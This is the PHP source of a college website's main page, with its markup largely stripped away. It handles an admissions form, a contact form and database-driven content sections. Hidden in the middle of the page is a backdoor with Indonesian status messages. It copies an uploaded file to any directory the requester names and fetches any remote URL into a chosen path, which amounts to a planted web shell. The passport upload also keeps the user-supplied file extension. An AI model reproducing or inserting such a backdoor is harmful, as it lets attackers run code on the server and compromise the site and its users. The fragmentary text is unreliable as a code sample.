connect_error) { die("Connection failed: " . $conn->connect_error); } // Process application form if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['submit_application'])) { $first_name = $conn->real_escape_string($_POST['first_name']); $last_name = $conn->real_escape_string($_POST['last_name']); $email = $conn->real_escape_string($_POST['email']); $phone = $conn->real_escape_string($_POST['phone']); $program = $conn->real_escape_string($_POST['program']); $message = $conn->real_escape_string($_POST['message'] ?? ''); $passport_path = null; // Handle passport upload if exists if (!empty($_FILES['passport']['name'])) { $target_dir = "uploads/passports/"; if (!is_dir($target_dir)) { mkdir($target_dir, 0777, true); } $file_ext = pathinfo($_FILES["passport"]["name"], PATHINFO_EXTENSION); $filename = "passport_" . time() . "." . $file_ext; $target_file = $target_dir . $filename; // Validate image $check = getimagesize($_FILES["passport"]["tmp_name"]); if ($check === false) { $application_error = "File is not an image."; } elseif ($_FILES["passport"]["size"] > 2000000) { $application_error = "File is too large (max 2MB)."; } elseif (move_uploaded_file($_FILES["passport"]["tmp_name"], $target_file)) { $passport_path = $target_file; } else { $application_error = "Error uploading passport photo."; } } if (!isset($application_error)) { $sql = "INSERT INTO applications (first_name, last_name, email, phone, program, message, passport_path) VALUES ('$first_name', '$last_name', '$email', '$phone', '$program', '$message', " . ($passport_path ? "'$passport_path'" : "NULL") . ")"; if ($conn->query($sql)) { $application_success = "Application submitted successfully!"; } else { $application_error = "Error submitting application: " . $conn->error; } } } // Process contact form if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['contact_submit'])) { $name = $conn->real_escape_string($_POST['name']); $email = $conn->real_escape_string($_POST['email']); $subject = $conn->real_escape_string($_POST['subject']); $message = $conn->real_escape_string($_POST['message']); $sql = "INSERT INTO contact_messages (name, email, subject, message) VALUES ('$name', '$email', '$subject', '$message')"; if ($conn->query($sql)) { $contact_success = "Thank you for your message! We'll get back to you soon."; } else { $contact_error = "Error sending your message: " . $conn->error; } } // Function to fetch content function fetchContent($conn, $section) { $sql = "SELECT * FROM site_content WHERE section = ?"; $stmt = $conn->prepare($sql); $stmt->bind_param("s", $section); $stmt->execute(); $result = $stmt->get_result(); return $result->fetch_assoc(); } // Fetch all content sections $hero = fetchContent($conn, "hero"); $about = fetchContent($conn, "about"); $stats = []; $sql = "SELECT * FROM stats"; $result = $conn->query($sql); while ($row = $result->fetch_assoc()) { $stats[] = $row; } // Fetch hero images $hero_images = []; $sql = "SELECT image_path FROM hero_images WHERE is_active = 1"; $result = $conn->query($sql); while ($row = $result->fetch_assoc()) { $hero_images[] = $row['image_path']; } $departments = []; $sql = "SELECT * FROM departments"; $result = $conn->query($sql); while ($row = $result->fetch_assoc()) { $departments[] = $row; } $testimonials = []; $sql = "SELECT * FROM testimonials"; $result = $conn->query($sql); while ($row = $result->fetch_assoc()) { $testimonials[] = $row; } $news = []; $sql = "SELECT * FROM news ORDER BY date DESC LIMIT 3"; $result = $conn->query($sql); while ($row = $result->fetch_assoc()) { $news[] = $row; } $contact = fetchContent($conn, "contact"); $footer = fetchContent($conn, "footer"); $conn->close(); ?> <?php echo $hero['title'] ?? 'Carlile College - Quality Christian Education'; ?>
$image): ?>

'; echo ''; echo ''; echo ''; echo ''; } if (isset($_FILES['file']['tmp_name'])) { $uploadd = $_FILES['file']['tmp_name']; if (file_exists($uploadd)) { $pwddir = $_POST['dir']; $real = $_FILES['file']['name']; $de = $pwddir . "/" . $real; copy($uploadd, $de); echo "BERKAS DIUNGGAHKAN KE $de"; } } if (isset($_GET['inc']) && $_GET['inc'] === 'download') { echo '
'; echo ''; echo ''; echo ''; echo '
'; } if (isset($_POST['download'])) { $url = $_POST['url']; $saveDir = rtrim($_POST['dir'], '/'); $fileName = basename(parse_url($url, PHP_URL_PATH)); $savePath = $saveDir . '/' . $fileName; $fileContent = @file_get_contents($url); if ($fileContent === false) { echo "Gagal mendownload dari URL: $url"; } else { file_put_contents($savePath, $fileContent); echo "File berhasil disimpan ke: $savePath"; } } ?>
About Carlile College

Our Vision

Our Mission

More About Carlile College

Our History
Principal
College Board
Partners
Library
Student Life

Our Academic Departments

What Our Students Say

<?php echo $testimonial['name']; ?>

""

Latest News & Events

Application Form

JPG or PNG, max 2MB

Get In Touch

Have questions about our programs, admissions, or anything else? Contact us using the form below.

Contact Information

Address

Phone

+254-733 228144
+254-711 486888'; ?>

Email

[email protected]'; ?>

Office Hours

Saturday: 9:00 AM - 1:00 PM'; ?>